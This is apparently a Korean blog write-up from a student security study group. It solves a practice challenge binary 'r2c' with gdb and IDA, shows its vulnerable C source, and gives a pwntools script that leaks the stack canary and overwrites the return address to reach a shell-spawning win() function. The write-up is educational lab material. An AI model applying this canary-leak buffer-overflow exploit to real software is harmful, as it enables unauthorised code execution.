<Homework>
1. 3week_HW에 존재하는 r2c 파일의 익스플로잇 후 라이트 업 작성
<Environment>
Macbook Air 15, Apple M2, 16GB ram, 1TB storage
MAC Sequoia 15.1 Beta (24B5070e)
Parallels Desktop 18 for Mac (Ubuntu 22.04 ARM 64)
IDA Freeware 8.2
주어진 file은 r2c binary와 r2c.c source code이다. 한번 분석해 보자.
gbd로 assembly code를 확인해 보면 stack에 0x30 만큼의 space를 allocate 하고 canary를 rbp - 0x8위치에 allocate 하는 것을 확인할 수 있다. 그리고 인자들을 받아서 write 하는 것을 확인할 수 있는데 여기서 movabs라는 instruction은 "move absolute"의 약자로 x86-64 assembly에서 사용되는 instruction으로 64bit size의 value를 absolute addres로 register에 directly load 하는 역할을 한다. 즉 0x77202c6f6c6c6548, 0x212121646c726f 라는 hex 값을 rax, rdx register로 각각 mov 한다는 것인데 이 hex 값을 ASCII로 바꿔보면
각각 "w, olleH", "!!!dlro"라는 sting이 보이는데 뭔가 익숙하지 않은가? Little Endian이라 역순으로 배열된 것을 확인할 수 있고 원래대로 돌려보면 "Hello, world!!!"라는 문자열을 확인할 수 있다. 이를 통해 write가 "Hello, world!!!"라는 string을 출력하고 있음을 알 수 있다.
lea rax, [rbp-0x30]
mov edx, 0x30
mov rsi, rax
mov edi, 0x0
mov eax, 0x0
call 0x4010c0 <read@plt>
이후 0x30 size를 maximum로 입력을 받는 function read를 확인할 수 있다. 여담으로 여기서 read@plt의 plt는 Procedure Linkage Table의 약자로 external library function를 사용할 수 있도록 address를 link해주는 table이다. 즉 read라는 library function을 해당 PLT라는 table에서 가져왔다는 것이다. 이는 추후에 더 자세히 알아보자.
그리고 이 값을 puts, 출력한다.
후에 0x7 size를 출력하는 function write를 확인할 수 있는데 일단은 어떤 value인지는 모르겠으니 넘어가자.
lea rax, [rbp-0x30]
mov edx, 0x40
mov rsi, rax
mov edi, 0x0
mov eax, 0x0
call 0x4010c0 <read@plt>
또 한 번 read를 받는데 이때 주목할 점은 0x40 size를 maximum으로 입력을 받는다는 것이다. 이후, 입력받은 value를 puts 한다.
function read를 통해 leak 하는 것으로 보인다.
info function instruction을 통해 function list를 확인해 보면 매우 수상하게 생긴 function win을 확인할 수 있다.
IDA로 확실하게 확인해 보자.
아까 확인한 것처럼 입력을 받고 해당 값을 출력하는 flow를 확인할 수 있다. 의심스러워 보이는 function win을 확인해 보자.
찾았다. shell을 execute 하는 function이다.
exploit code를 짜기 전, stack structure를 한번 그려보자.
대충 이렇게 되는데, canary leak을 통해 ret를 win의 address로 덮으면 되는 듯 보인다.
여기서 생각해 볼 점은, read를 2번 받는다는 건데 첫 번째 read에서 canary value를 구하고 두 번째 read에서 canary leak을 하면 되겠다.
아 참, 주어진 source code도 확인해 보자.
#include<stdio.h>
void win(){
char *args[] = {"/bin/sh", NULL};
execve(args[0], args,NULL);
}
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main(){
init();
char a[0x10];
char b[0x10] = "Hello, world!!!";
write(1,"Input: ",0x7);
read(0,a,0x30);
printf("%s\n",a);
write(1,"Input: ",0x7);
read(0,a,0x40);
printf("%s\n",a);
return 0;
}
음 정확하다. 진행시켜.
우선 canary의 첫 1byte가 NULL padding이 되어있으니 0x30-0x7만큼 문자열을 채워 보내면 canary value를 확인할 수 있을 것이다.
function win의 address는 gdb에서 찾아서 p64, 즉 64bit packing 해서 payload에 포함시키면 되겠다.
exploit code는 아래와 같다.
from pwn import *
p = process(['qemu-x86_64-static', '-L', '/usr/x86+64-linux-gnu', './r2c'])
p.sendafter(b'Input: ', b'a'*(0x30-0x7))
data = p.recv(50)
canary = data[41:48]
win_addr = 0x4011d6
print(p64(win_addr))
pritn(data)
print(canary)
p.sendafter(b'Input: ', b'a'*(0x30-0x8)+b'\x00'+canary+b'a'*8+p64(win_addr))
p.interactive()
간단히 설명하면, character 'a'로 0x30-0x7만큼, 즉 stack에서 할당된 space에서 canary의 위치를 빼고 1byte를 더한, stack에 allocate 된 0x30 size의 space에서 canary까지의 space를 덮은 후, canary의 NULL value를 덮어 canary value를 알아내고 slicing 해서 canary라는 name의 variable에 저장한다. 이후 funtion sendafter을 통해 'Input: '이라는 string이 출력된 이후 character 'a'를 이번에는 0x30-0x8, 즉 0x30 size의 space에서 canary 까지의 space만 padding을 주고 '\x00'로 NULL character를 추가한 후 canary value를 뒤에 붙이고 sfp size인 8byte만큼을 다시 덮고 ret를 win의 address로 packing 하여 덮는다. 추가적으로 이렇게 shell을 따는 등의 상호작용이 필요하면 function interactive가 필요하다.
참고로 sfp와 ret의 size는 64bit에서는 8 bytes, 32bit에서는 4 bytes이다. canary의 경우 NULL padding 포함 64bit에서는 8 bytes(7 bytes), 32bit에서는 4 bytes(3 bytes)이다.
실행시켜 보면 canary value가 정상적으로 출력되고, shell이 정상적으로 취득되는 것을 확인할 수 있다.
'Pay1oad > Pwnable Study' 카테고리의 다른 글
[Pay1oad] Pwnable Study Week 2 - bof_basic (0) | 2024.11.10 |
---|---|
[Pay1oad] Pwnable Study Week 2 - mic_check (0) | 2024.11.09 |
[Pay1oad] Pwnable Study Week 1 - Pay1oad Welcome CTF Writeup (0) | 2024.10.01 |
[Pay1oad] Pwnable Study Week 1 - Handray (0) | 2024.09.28 |